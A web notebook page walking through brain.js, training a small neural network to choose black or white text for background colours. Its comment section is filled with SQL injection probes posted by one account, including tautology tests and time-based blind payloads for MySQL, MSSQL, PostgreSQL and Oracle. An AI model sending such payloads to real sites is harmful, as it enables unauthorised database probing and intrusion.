brain.js

node v0.12.18
version: 3.0.0
endpointsharetweet
This library is a pure javascript implementation of a neural network. Let's try running one of the examples in the README:
var brain = require("brain") var net = new brain.NeuralNetwork(); net.train([{input: { r: 0.03, g: 0.7, b: 0.5 }, output: { black: 1 }}, {input: { r: 0.5, g: 0.5, b: 1.0 }, output: { white: 1 }}]); var output = net.run({ r: 1, g: 0.4, b: 0 });
Cool, it works. But what is it doing exactly? The network is trying to learn about contrast. Given a background color, it makes a decision about whether or not black text or white text will be more readbale. Obvious, right? One thing we can do to help us understand is examine the actual properties of the net. We do this by just drilling into the object:
net
The biases and weights contain the data we need to actually compute a result, and those values were reached by running the training examples above through our network. Of course, it's still hard to really understand exactly what we're doing just looking at these numbers. Let's try examining the results visually:
function textColor(bgColor) { return net.run(bgColor).black > .5 ? "black" : "white"; } function toRGB(bgColor) { return "rgb(" + Math.floor(bgColor.r * 255) + ", " + Math.floor(bgColor.g * 255) + ", " + Math.floor(bgColor.b * 255) + ")" } function toDiv(bg, txt) { return '<div style="padding: 6px; background: ' + toRGB(bg) + '; color: '+txt+'">'+ toRGB(bg) + '</div>' } function sample() { var results = []; for (var i = 0; i < 50; i++) { var bg = {r: Math.random(), g: Math.random(), b: Math.random()} var txt = textColor(bg); results.push(toDiv(bg, txt)); } return results; } sample().join("\n");
We've mapped the rgb values to either a black or white text color, and shown the output above as rendered HTML. It's pretty easy to see that with just three training examples we still have a lot of room for improvement. Let's try feeding it 10 more.
net.train([ {"input":{"r":0.0431,"g":0.3458,"b":0.2627},"output":{"black":0}}, {"input":{"r":0.9333,"g":0.8784,"b":0.5686},"output":{"black":1}}, {"input":{"r":0.3490,"g":0.2705,"b":0.8901},"output":{"black":0}}, {"input":{"r":0.3843,"g":0.4862,"b":0.0941},"output":{"black":0}}, {"input":{"r":0.2274,"g":0.0078,"b":0.8627},"output":{"black":0}}, {"input":{"r":0.3764,"g":0.3843,"b":0.6941},"output":{"black":0}}, {"input":{"r":0.2862,"g":0.5960,"b":0.0470},"output":{"black":0}}, {"input":{"r":0.6549,"g":0.7019,"b":0.7098},"output":{"black":1}}, {"input":{"r":0.0431,"g":0.0666,"b":0.4862},"output":{"black":0}}, {"input":{"r":0.8431,"g":0.4431,"b":0.2627},"output":{"black":0}}, ]) sample().join("\n")
The results are definitely an improvement! You can see another version of this demo, and learn more about Brain.js at https://harthur.github.io/brain/.
Loading…

26 comments

  • posted 3 years ago by hsynckrkc
    Xxxx
  • posted 20 days ago by xsjybldb
    1
  • posted 20 days ago by xsjybldb
    1
  • posted 20 days ago by xsjybldb
    -1 OR 2+42-42-1=0+0+0+1 --
  • posted 20 days ago by xsjybldb
    -1 OR 2+614-614-1=0+0+0+1
  • posted 20 days ago by xsjybldb
    -1' OR 2+245-245-1=0+0+0+1 --
  • posted 20 days ago by xsjybldb
    -1' OR 2+648-648-1=0+0+0+1 or 'y2IEkRMW'='
  • posted 20 days ago by xsjybldb
    -1" OR 2+910-910-1=0+0+0+1 --
  • posted 20 days ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 20 days ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 20 days ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 20 days ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 20 days ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 20 days ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 20 days ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 20 days ago by xsjybldb
    G6NLU0Gt'; waitfor delay '0:0:15' --
  • posted 20 days ago by xsjybldb
    -5 OR 312=(SELECT 312 FROM PG_SLEEP(15))--
  • posted 20 days ago by xsjybldb
    -5) OR 193=(SELECT 193 FROM PG_SLEEP(15))--
  • posted 20 days ago by xsjybldb
    -1)) OR 905=(SELECT 905 FROM PG_SLEEP(15))--
  • posted 20 days ago by xsjybldb
    tuRUM2F6' OR 281=(SELECT 281 FROM PG_SLEEP(15))--
  • posted 20 days ago by xsjybldb
    SJwGK6dm') OR 51=(SELECT 51 FROM PG_SLEEP(15))--
  • posted 20 days ago by xsjybldb
    Iy2dsX3K')) OR 387=(SELECT 387 FROM PG_SLEEP(15))--
  • posted 20 days ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 20 days ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 20 days ago by xsjybldb
    1'"
  • posted 20 days ago by xsjybldb
    @@xuTwv

sign in to comment